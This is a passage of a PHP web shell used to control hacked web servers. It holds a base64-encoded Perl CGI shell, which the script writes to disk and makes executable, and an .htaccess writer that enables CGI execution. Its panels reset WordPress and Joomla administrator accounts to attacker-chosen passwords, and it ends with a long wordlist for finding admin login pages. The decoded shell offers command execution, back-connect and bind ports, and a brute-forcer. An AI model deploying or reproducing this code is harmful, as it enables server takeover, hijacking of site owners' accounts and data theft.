i4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+Ii4kZmlsZS4iPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGYpLiInLCciLiRmaWxlLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgkaSwnJGZpbGUnKVwiID4iLiZGaWxlUGVybXMoJGYpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz5FZGl0PC9hPiB8IDxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKVwiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGZpbGUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRyeSB0byBWaWV3IExpc3QgVXNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3RG9tYWluVXNlcgp7CglvcGVuIChkb21haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOwoJbXkgQGNuenMgPSA8ZG9tYWlucz47CgljbG9zZSBkMG1haW5zOwoJbXkgJHN0eWxlPSJsaW5lIjsKCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7Cgl9CglteSAkcmVzdWx0PSI8dGFibGU+PHRyPjx0aD5QYXRoIExvZzwvdGg+PHRoPlN1Ym1pdDwvdGg+PC90cj4iOwoJbXkgQHBhdGhsb2c9KAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycKCQkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtdyAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7CgkJCWlmKCZ0cmltKCRscykgZXEgIiIpCgkJCXsKCQkJCWlmKC1yICRscykKCQkJCXsKCQkJCQkkcGVybXM9Ik9LIjsKCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsKCQkJCX0KCQkJfWVsc2UKCQkJewoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJCX0KCQl9CgkJJHJlc3VsdCAuPTw8RU5EOwoJCTx0cj4KCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2dfJGknKS52YWx1ZT0nbGVzcyAnICsgdGhpcy52YWx1ZTsiIHZhbHVlPSIkbG9nIiBzaXplPSc1MCcvPjwvdGQ+CgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=\';

$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
    chmod("cgi2012.izo",0755);
   echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
 
 </div>"; }
 
 ///////////////////////////////////////////////////////////////////////////
 
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'config\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=config" method="post">

<?php

echo "<center/><br/><b><font color=#FF0000>--==[ Config Shell Priv8 SCR ]==--</font></b><br><br>";

  mkdir(\'config\', 0755);
    chdir(\'config\');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , \'w\') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
		
AddType application/x-httpd-cgi .cpc

AddHandler cgi-script .izo
AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);

$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
    chmod("config.izo",0755);
   echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
   </div>"; 
}
/////////////////////////////////////////////////////////////////////////


///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wp-reset\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=wp-reset" method="post">

<?php

echo "<center/><br/><b><font color=#FF0000>--==[  Wordpress Reset Password  ]==--</font></b><br><br>";
  
  if(empty($_POST[\'pwd\'])){
  
echo "<FORM method=\'POST\'>
<table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Hostname</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'wp-\' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'wp-\' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'password\' value=\'**\' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'admin\' value=\'admin\' /></td></tr>
 <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
<input style=\'width:80px;\' class=\'inputz\' type=\'text\' name=\'pwd\' value=\'123456\' />&nbsp;

<input style=\'width:19%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST[\'localhost\'];
$database  = $_POST[\'database\'];
$username  = $_POST[\'username\'];
$password  = $_POST[\'password\'];
$pwd   = $_POST[\'pwd\'];
$admin = $_POST[\'admin\'];


 @mysql_connect($localhost,$username,$password) or die(mysql_error());
 @mysql_select_db($database) or die(mysql_error());

$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email =\'".$SQL."\' WHERE ID = 1") or die(mysql_error());


if($a4s){
echo "<b> Success!! Now You Can Login To wp-admin</b> ";
}

}
  
  
  echo "
   </div>"; }

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jm-reset\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jm-reset" method="post">

<?php

echo "<center/><br/><b><font color=#FF0000>--==[  Joomla Reset Password ]==--</font></b><br><br>";
	if(empty($_POST[\'pwd\'])){
echo "<FORM method=\'POST\'><table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to MySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'database\' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'db_user\' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
<input style=\'width:270px;\' class=\'inputz\' type=\'password\' name=\'password\' value=\'**\' /></td></tr>
<tr><td>&nbsp;&nbsp;User baru</td><td>
<input style=\'width:270px;\' class=\'inputz\' name=\'admin\' value=\'admin\' /></td></tr>
 <tr><td>&nbsp;&nbsp;pass baru </td><td>123456 = 
<input style=\'width:130px;\' class=\'inputz\' name=\'pwd\' value=\'481065fd79b253104aeab5ca5c717cd5\' />&nbsp;

<input style=\'width:23%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST[\'localhost\'];
$database  = $_POST[\'database\'];
$username  = $_POST[\'username\'];
$password  = $_POST[\'password\'];
$pwd   = $_POST[\'pwd\'];
$admin = $_POST[\'admin\'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 62") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 63") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 64") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 65") or die(mysql_error());
$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 65") or die(mysql_error());
if($SQL){
echo "<b>Success : New Password >>> - (123456)";
}
}
	
  echo "
   </div>"; 
} 
//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'adfin\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=adfin" method="post">

<?php
set_time_limit(0);
error_reporting(0);
$list[\'front\'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list[\'end\'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
modelsearch/login.html
adminarea/login.html
panel-administracion/index.html
panel-administracion/admin.html
modelsearch/index.html
modelsearch/admin.html
admincontrol/login.html
adm/index.html
adm.html
user.php
panel-administracion/login.php
wp-login.php
adminLogin.php
admin/adminLogin.php
home.php
adminarea/index.php
adminarea/admin.php
adminarea/login.php
panel-administracion/index.php
panel-administracion/admin.php
modelsearch/index.php
modelsearch/admin.php
admincontrol/login.php
adm/admloginuser.php
admloginuser.php
admin2/login.php
admin2/index.php
adm/index.php
adm.php
affiliate.php
adm_auth.php
memberadmin.php
administratorlogin.php
admin/admin.asp
admin_area/admin.asp
admin_area/login.asp
admin_area/index.asp
bb-admin/index.asp
bb-admin/login.asp
bb-admin/admin.asp
pages/admin/admin-login.asp
admin/admin-login.asp
admin-login.asp
user.asp
webadmin/index.asp
webadmin/admin.asp
webadmin/login.asp
admin/admin_login.asp
admin_login.asp
panel-administracion/login.asp
adminLogin.asp
admin/adminLogin.asp
home.asp
adminarea/index.asp
adminarea/admin.asp
adminarea/login.asp
panel-administracion/index.asp
panel-administracion/admin.asp
modelsearch/index.asp
modelsearch/admin.asp
admincontrol/login.asp
adm/admloginuser.asp
admloginuser.asp
admin2/login.asp
admin2/index.asp
adm/index.asp
adm.asp
affiliate.asp
adm_auth.asp
memberadmin.asp
administratorlogin.asp
siteadmin/login.asp
siteadmin/index.asp
ADMIN/
paneldecontrol/
login/
cms/
admon/
